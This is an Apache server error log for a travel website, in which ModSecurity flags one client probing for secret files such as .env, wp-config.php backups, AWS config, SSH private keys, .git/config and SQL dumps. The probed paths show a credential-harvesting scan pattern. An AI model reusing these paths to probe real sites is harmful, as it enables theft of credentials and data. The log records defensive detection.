[Fri Jul 17 08:54:57.950146 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production;/style.css"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.production;/style.css"] [unique_id "almgiQ7FYe46zHK_jL3PcAAAABk"]
[Fri Jul 17 08:54:57.950355 2026] [authz_core:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.php.bak
[Fri Jul 17 08:54:57.950409 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.production;/style.css"] [unique_id "almgiQ7FYe46zHK_jL3PcAAAABk"]
[Fri Jul 17 08:54:57.950451 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:57.950497 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:57.950603 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgiQ7FYe46zHK_jL3PcAAAABk"]
[Fri Jul 17 08:54:57.950706 2026] [authz_core:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.php
[Fri Jul 17 08:54:57.950831 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:57.952786 2026] [authz_core:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.php;
[Fri Jul 17 08:54:57.952900 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:57.973790 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".aws/config" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.aws/config"] [unique_id "almgiV1_86A5R6msWNfUOgAAABI"]
[Fri Jul 17 08:54:57.974153 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.aws/config"] [unique_id "almgiV1_86A5R6msWNfUOgAAABI"]
[Fri Jul 17 08:54:57.974292 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:57.974434 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgiV1_86A5R6msWNfUOgAAABI"]
[Fri Jul 17 08:54:58.008403 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:58.012489 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".netrc" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .netrc found within REQUEST_FILENAME: /.netrc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.netrc"] [unique_id "almginRlmrtCoY_COpcluAAAAAg"]
[Fri Jul 17 08:54:58.012770 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:58.012805 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.netrc"] [unique_id "almginRlmrtCoY_COpcluAAAAAg"]
[Fri Jul 17 08:54:58.012912 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:58.013053 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almginRlmrtCoY_COpcluAAAAAg"]
[Fri Jul 17 08:54:58.015741 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".ssh/id_rsa" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .ssh/id_rsa found within REQUEST_FILENAME: /.ssh/id_rsa"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.ssh/id_rsa"] [unique_id "almgigRRrtuZqNDDSqWwHAAAABo"]
[Fri Jul 17 08:54:58.016154 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.ssh/id_rsa"] [unique_id "almgigRRrtuZqNDDSqWwHAAAABo"]
[Fri Jul 17 08:54:58.016342 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:58.016545 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgigRRrtuZqNDDSqWwHAAAABo"]
[Fri Jul 17 08:54:58.019462 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:58.020897 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.git/config"] [unique_id "almgilh1WDijTxd1xw5MGgAAAAc"]
[Fri Jul 17 08:54:58.021209 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.git/config"] [unique_id "almgilh1WDijTxd1xw5MGgAAAAc"]
[Fri Jul 17 08:54:58.021326 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:58.021439 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgilh1WDijTxd1xw5MGgAAAAc"]
[Fri Jul 17 08:54:58.021828 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:58.025287 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:58.026298 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:58.051156 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:58.060704 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/storage/logs/laravel.log"] [unique_id "almgiroj0IkvhSCYadmBcgAAAAQ"]
[Fri Jul 17 08:54:58.061199 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/storage/logs/laravel.log"] [unique_id "almgiroj0IkvhSCYadmBcgAAAAQ"]
[Fri Jul 17 08:54:58.061322 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:58.061464 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgiroj0IkvhSCYadmBcgAAAAQ"]
[Fri Jul 17 08:54:58.063796 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:58.067504 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/backup.sql"] [unique_id "almgigRRrtuZqNDDSqWwHQAAABo"]
[Fri Jul 17 08:54:58.068639 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/dump.sql"] [unique_id "almgilh1WDijTxd1xw5MGwAAAAc"]
[Fri Jul 17 08:54:58.069376 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/dump.sql"] [unique_id "almgilh1WDijTxd1xw5MGwAAAAc"]
[Fri Jul 17 08:54:58.069545 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:58.069723 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgilh1WDijTxd1xw5MGwAAAAc"]
[Fri Jul 17 08:54:58.070211 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/backup.sql"] [unique_id "almgigRRrtuZqNDDSqWwHQAAABo"]
[Fri Jul 17 08:54:58.070360 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:58.070526 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgigRRrtuZqNDDSqWwHQAAABo"]
